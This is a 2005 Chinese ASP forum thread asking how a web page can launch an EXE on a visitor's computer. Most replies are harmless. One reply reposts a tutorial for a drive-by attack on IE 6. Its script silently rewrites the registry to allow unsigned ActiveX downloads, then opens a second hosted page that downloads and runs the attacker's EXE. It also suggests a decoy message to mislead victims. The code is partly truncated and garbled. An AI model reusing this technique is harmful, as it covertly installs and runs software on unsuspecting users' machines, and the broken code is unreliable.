社区
ASP
帖子详情
如何用ASP调用客户端的EXE文件?
hanprogrammer
2005-01-25 01:16:37
我的想法是用Response.ContentType="Application/@"来调用,可是我在客户机上注册了一个扩展名,并关联了exe文件,并在WEB服务器IIS上注册了对应的MIME,在ASP页面调用的时候还是不能调用?这什么呀,要怎么样才能实现打开客户端EXE文件呀,
...全文
234
10
打赏
收藏
如何用ASP调用客户端的EXE文件?
我的想法是用Response.ContentType="Application/@"来调用,可是我在客户机上注册了一个扩展名,并关联了exe文件,并在WEB服务器IIS上注册了对应的MIME,在ASP页面调用的时候还是不能调用?这什么呀,要怎么样才能实现打开客户端EXE文件呀,
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
10 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
zhangyunqi
2005-06-02
打赏
举报
回复
学习
kebeixueng
2005-04-06
打赏
举报
回复
学习
hanprogrammer
2005-01-31
打赏
举报
回复
另外说一句 avonqin(不再看连续剧)提供的方法偶感觉是还需要额外的一个COM组件,不知道是不是这样
hanprogrammer
2005-01-31
打赏
举报
回复
多谢大家的支持,问题已解决,原来做MIME映射的时候仅仅在IIS中编辑是没用的,要修改注册表才行。
hanprogrammer
2005-01-25
打赏
举报
回复
对不起,我说的不够明白,我的意思就是调用客户端的EXE文件,我想是可行的,因为我见过这样的系统,就像可以在IE中打开Word一样(不同的是Word是在IE中打开的),。。。只是不知道怎么现实的,
avonqin
2005-01-25
打赏
举报
回复
[转贴]
让IE6.0执行EXE文件的网页
说到要做一个让网页让IE6.0浏览的时候来执行空间下的一个EXE文件的方法要和以前写过的5.0的方法是完全不一样的了,5.0的总体思路是用一个HTML的文件带动一
个有错误开头的EML文件,让IE无条件的执行EML中的附件,可是当我们把IE升级到6.0的时候,再打开这个页面我们会发现WINDOWS会出现一个打开方式的界面,所以我们
前面做的针对IE5.0的是无效的。
下面我们来看看怎么让6.0来执行我们空间的同路径下的一个EXE文件,方法大致是当用户开启第一个HTML的页面时,通过恶意的HTML代码把IE安全级别里的默认的
“禁用下栽未签名的ActiveX控件”选项,变为“启用下栽未签名的ActiveX控件”,然后马上打开第二个HTML的文件内容是下载一个未签名的ActiveX控件,实质就是我们
所要执行的EXE文件,好了,下面我们来说说具体的制作步骤。
【第一步】建立一个1.HTM的文件,内容如下:
<SCRIPT>
document.write("");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\1004",0,"REG_DWORD");
var expdate = new Date((new Date()).getTime() + (1));
documents.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
<script language="javascript">
这里需要说明的是,其中“window.open('http://xiaomutou.diy.163.com/2.htm','colortext')”中的“http://xiaomutou.diy.163.com/2.htm”要改为你自己的
主页空间的路径,其中“setTimeout("opencolortext()",1500)”的“1500”是延时1.5秒中之后打开我们一会将要做的2.HTM文件。好,我们现在就来做这个2.HTM文
件,内容如下:
<SCRIPT language=javascript>
run_exe=""
run_exe+="
";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
论坛连接中请勿终断....
说明,代码中“run_exe+="CODEBASE=\"3.exe#version=1,1,1,1\">" ”的“3.EXE”就是IE将来要执行的同路径下你的EXE文件
至于论坛连接中请勿终断,完全是迷惑对方的你自己可以变成自己的话。
好了现在将我们做的1.HTM、2.HTM和自己要对方执行的EXE文件一并上传到自己的主页空间下。
现在就让我们用IE6.0来直接浏览这个1.HTM的文件吧,当打开这个页面的1-2秒后应该自动打开另一个空白的页面,紧接着你的EXE文件将被执行,注意所放的EXE文件不要
过大,最好能控制在100K之内
xing_gg
2005-01-25
打赏
举报
回复
高深问题,新手不会,帮你顶吧!
myvicy
2005-01-25
打赏
举报
回复
不太可能打开客户端的exe执行吧。你想错了,你也真是的。
spring11
2005-01-25
打赏
举报
回复
如果能随便打开客户端的EXE。。。那IE就危险了!
hackate
2005-01-25
打赏
举报
回复
不太明白你的问题,可能我水平不够,帮你顶吧!-_-#!
在
ASP
中如何
调用
EXE
可执行
文件
在
客户端
运行
在
ASP
中如何
调用
EXE
可执行
文件
在
客户端
运行
asp
调用
客户端
可执行
文件
的dll
此mydll.dll为csdn会员songyq001用vb开发的,用于
asp
调用
客户端
的可执行
文件
,旨在技术交流,禁止商业用途!
怎样用
asp
调用
ftp命令实现
文件
上传
怎样用
asp
调用
ftp命令实现
文件
上传,怎样
调用
ftp命令实现ftp上传
文件
的功能?? 因为上传的
文件
太大又太多,所以不能用fso上传! 而且上传的
文件
是服务器针对别一服务器,不是
客户端
对服务器!!
一个用JAVA Applet做的批量上传
客户端
用JAVA Applet做的一个批量上传
客户端
,用户可以多选
文件
进行上传,服务端可使用
ASP
,PHP,JSP等实现。
客户端
会将
文件
分卷POST到服务端,服务端需要接收这部分
文件
并保存为临时
文件
;分卷上传结束后
客户端
将
调用
...
如何在WPF应用程序中通过HttpClient
调用
Web API
本教程是继使用HttpClient
调用
Web API只有的补充教程,主要讲解了如何在WPF中异步
调用
Web API且不阻塞主线程。
ASP
28,391
社区成员
357,059
社区内容
发帖
与我相关
我的任务
ASP
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
复制链接
扫一扫
分享
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章